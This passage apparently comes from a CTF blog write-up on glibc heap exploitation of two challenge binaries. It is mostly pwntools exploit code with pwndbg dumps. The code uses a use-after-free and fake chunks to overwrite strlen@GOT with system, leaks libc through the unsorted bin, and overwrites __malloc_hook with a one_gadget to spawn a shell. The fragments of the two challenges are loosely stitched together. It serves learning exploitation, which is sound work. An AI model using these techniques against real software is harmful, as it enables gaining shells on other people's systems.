/* Another simple check: make sure the top of the bin is not the record we are going to add (i.e., double free). */ if (__builtin_expect (old == p, 0)) { errstr = "double free or corruption (fasttop)"; goto errout; }
unsignedintorder() { v2 = rifle; if ( rifle_num ) { while ( v2 ) { ptr = v2; v2 = *(v2 + 13); free(ptr); } rifle = 0; ++rifle_num_ordered; puts("Okay order submitted!"); } else { puts("No rifles to be ordered!"); } return __readgsdword(0x14u) ^ v3; }
订购添加的枪支,释放已添加的枪支,但是并没有置为NULL
message
1 2 3 4 5 6 7
unsignedintmessage() { printf("Enter any notice you'd like to submit with your order: "); fgets(message_order, 128, stdin); sub_80485EC(message_order); return __readgsdword(0x14u) ^ v0; }
# before free, we need to bypass some check # fake chunk's size is 0x40 # 0x20 *'a' for padding the last fake chunk # 0x40 for fake chunk's next chunk's prev_size # 0x100 for fake chunk's next chunk's size # set fake iofle' next to be NULL payload = '\x00'*0x20 + p32(0x41) + p32(0x100) payload = payload.ljust(0x34,'a') payload += p32(0) # make next point to NULL payload = payload.ljust(0x100,'b') # padding to 0x100 which we wire to size message(payload) # dbg() # pwndbg> x/16w 0x8fe8410 # 0x8fe8410: 0x0000000a 0x00000041 0x00000042 0x00000000 # 0x8fe8420: 0x00000000 0x00000000 0x00000000 0x00000000 # 0x8fe8430: 0x41414100 0x41414141 0x41414141 0x41414141 # 0x8fe8440: 0x41414141 0x41414141 0x41414141 0x0804a2a8 # pwndbg> x/16w 0x0804a2a8 # 0x804a2a8: 0x0804a2c0 0x00000000 0x00000000 0x00000000 # 0x804a2b8: 0x00000000 0x00000000 0x00000000 0x00000000 # 0x804a2c8: 0x00000000 0x00000000 0x00000000 0x00000000 # 0x804a2d8: 0x00000000 0x00000000 0x00000041 0x0000000a # actually, the desrciption we enter start at 0x0804a2c0, # and the current fake_chunk start at 0x0804a2a8, # so we need fake anther chunk to pass the check, # and each chunk's size is 0x40, # so we need input anther 0x20 charactes(0x38-(0x0804a2c0 - 0x0804a2a8)) to padding to next fake_chunk,
# now we can malloc the chunk which we created # add a rifle which rifle's name potin to a got addr, # and edit message to rewirte the addr we jsut add to name, # then getshell # it's not difficult to find that after we input something, # the program will call sub_80485EC(our_input), # and in this function,it call strlen(our_input), # so we can rewrite the strlen@got to system_addr, # and transfer the argue '/bin/sh' to fake strlen and get shell add('S',p32(elf.got['strlen'])) # dbg() # pwndbg> x/16w 0x0804a2a8 # 0x804a2a8: 0x0804a250 0x00000000 0x00000000 0x00000000 # 0x804a2b8: 0x00000000 0x00000000 0x00005300 0x00000000 # 0x804a2c8: 0x00000000 0x00000000 0x00000000 0x00000000 # 0x804a2d8: 0x00000000 0x00000000 0x00000041 0x00000100 # pwndbg> x/s 0x0804a250 # 0x804a250 <strlen@got.plt>: "@\364\337\367@\225\331\367\300\324\335", <incomplete sequence \367> # pwndbg>
message(p32(system_addr)+ ';/bin/sh\x00') # the arguement of system contains ';',means system execute it by to parts, # in other words, it means system(p32(system_addr);"/bin/sh") = system(p32(system_addr));system("/bin/sh"); # dbg() # pwndbg> x/16w 0x0804a2a8 # 0x804a2a8: 0x0804a250 0x00000000 0x00000000 0x00000000 # 0x804a2b8: 0x00000000 0x00000000 0x00005300 0x00000000 # 0x804a2c8: 0x00000000 0x00000000 0x00000000 0x00000000 # 0x804a2d8: 0x00000000 0x00000000 0x00000041 0x00000100 # pwndbg> x/16w 0x0804a250 # 0x804a250 <strlen@got.plt>: 0xf7d6dda0 0x69622f3b 0x68732f6e 0x00000a00 # 0x804a260: 0x00000000 0x00000000 0x00000000 0x00000000 # 0x804a270: 0x00000000 0x00000000 0x00000000 0x00000000 # 0x804a280 <stdin>: 0xf7ee55a0 0x00000000 0x0804a2a8 0x00000000 # pwndbg>
defdump(index): ru("Command: ") sl('4') ru("Index: ") sl(str(index)) ru("Content: \n") # puts,which will put '\n' data = ru('\n') return data
defdbg(): gdb.attach(p) pause()
# allocate 5 chunks include one small bin and four fast bins, # one for padding next chunk's bk point to small bin, # and one for it's bk point to small bin, # and one for make pre fast bin'bk point to small bin, # and one for padding the small bin to pass check, # the small bin for leak
# now we eidt i0 to make i1's bk point to small bin payload = 'a'*0x10 + p64(0) + p64(0x21) # padding i1 payload += 'b'*0x10 + p64(0) + p64(0x21) + p8(0x80) fill(0,len(payload),payload) # dbg() # now i2'bk point to small bin, # and we allocate again we can get the small bin # pwndbg> x/24g 0x55a1fa987000 # 0x55a1fa987000: 0x0000000000000000 0x0000000000000021 <-- i0 # 0x55a1fa987010: 0x6161616161616161 0x6161616161616161 # 0x55a1fa987020: 0x0000000000000000 0x0000000000000021 <-- i1 # 0x55a1fa987030: 0x6262626262626262 0x6262626262626262 # 0x55a1fa987040: 0x0000000000000000 0x0000000000000021 <-- i2 # 0x55a1fa987050: 0x000055a1fa987080 0x0000000000000000 # 0x55a1fa987060: 0x0000000000000000 0x0000000000000021 <-- i3 # 0x55a1fa987070: 0x0000000000000000 0x0000000000000000 # 0x55a1fa987080: 0x0000000000000000 0x0000000000000091 <-- i4
# edit i3 to prepare for allcaote i4 payload = p64(0)*3 + p64(0x21) fill(3,len(payload),payload) allocate(0x10) # allocate the 0x55c37438a040 which i1 point to allocate(0x10) # get i4(small bin) which i2 point to # dbg() payload = p64(0)*3 + p64(0x91) fill(3,len(payload),payload) allocate(0x80) # i5,to avoid the small bin which we will free later to combine with top chunk free(4) # the i4 was allcoate at first,now we free it # we allocate a fastbin(i2) still point to here(0x564f38404080) # so while we dump(2), it will dump i4's contnet actually, # and meanwhile it's contains a addr which near the main_arena # dbg() # pwndbg> x/32g 0x5614b339c020 # 0x5614b339c020: 0x0000000000000000 0x0000000000000021 <--i1 # 0x5614b339c030: 0x6262626262626262 0x6262626262626262 # 0x5614b339c040: 0x0000000000000000 0x0000000000000021 # 0x5614b339c050: 0x0000000000000000 0x0000000000000000 # 0x5614b339c060: 0x0000000000000000 0x0000000000000021 <--i3 # 0x5614b339c070: 0x0000000000000000 0x0000000000000000 # 0x5614b339c080: 0x0000000000000000 0x0000000000000091 <-- i4,i2 # 0x5614b339c090: 0x00007f3579d12b78 0x00007f3579d12b78 # ...... # pwndbg> unsorted # unsortedbin # all: 0x5614b339c080 -> 0x7f3579d12b78 (main_arena+88) <- 0x5614b339c080 # pwndbg>
# now we can dump it to leak libc_base addr = u64(dump(2)[:8].ljust(8,'\x00')) leak('addr',addr) main_arena = u64(dump(2)[:8].ljust(8,'\x00')) - 0x58 leak("main_arena",main_arena) libc_base = addr - 0x88 - 0x3c4af0 leak("libc_base",libc_base)
payload = p64(main_arena - 0x40 + 0xd) fill(2,len(payload),payload) # dbg() allocate(0x60) # i4 # now i4 we just freed was allocated to new i4 allocate(0x60) # i6 # when we continue to allcoate,we can get the fake chunk which point to 0x7f16a99d7b05
# now we can edit i6,and rewrite __malloc_hook to our one_gadget to get shell payload = '\x00'*3 + p64(0)*2 + p64(libc_base+one_gadget) fill(6,len(payload),payload) # dbg() # pwndbg> x/16g 0x7f3f2b9dcb00 # 0x7f3f2b9dcb00 <__memalign_hook>: 0x0000000000000000 0x0000000000000000 # 0x7f3f2b9dcb10 <__malloc_hook>: 0x00007f3f2b65d216 0x0000000000000000 <--malloc_hook was point to one_gadget # 0x7f3f2b9dcb20 <main_arena>: 0x0000000000000000 0x0000000000000000 # 0x7f3f2b9dcb30 <main_arena+16>: 0x0000000000000000 0x0000000000000000 # 0x7f3f2b9dcb40 <main_arena+32>: 0x0000000000000000 0x0000000000000000 # 0x7f3f2b9dcb50 <main_arena+48>: 0x3f2b69de20000000 0x0000000000000000 # 0x7f3f2b9dcb60 <main_arena+64>: 0x0000000000000000 0x0000000000000000 # dbg() # we need to try each one_gadget, one of them may didn't workrd
You are welcome to share this blog, so that more people can participate in it. If the images used in the blog infringe your copyright, please contact the author to delete them.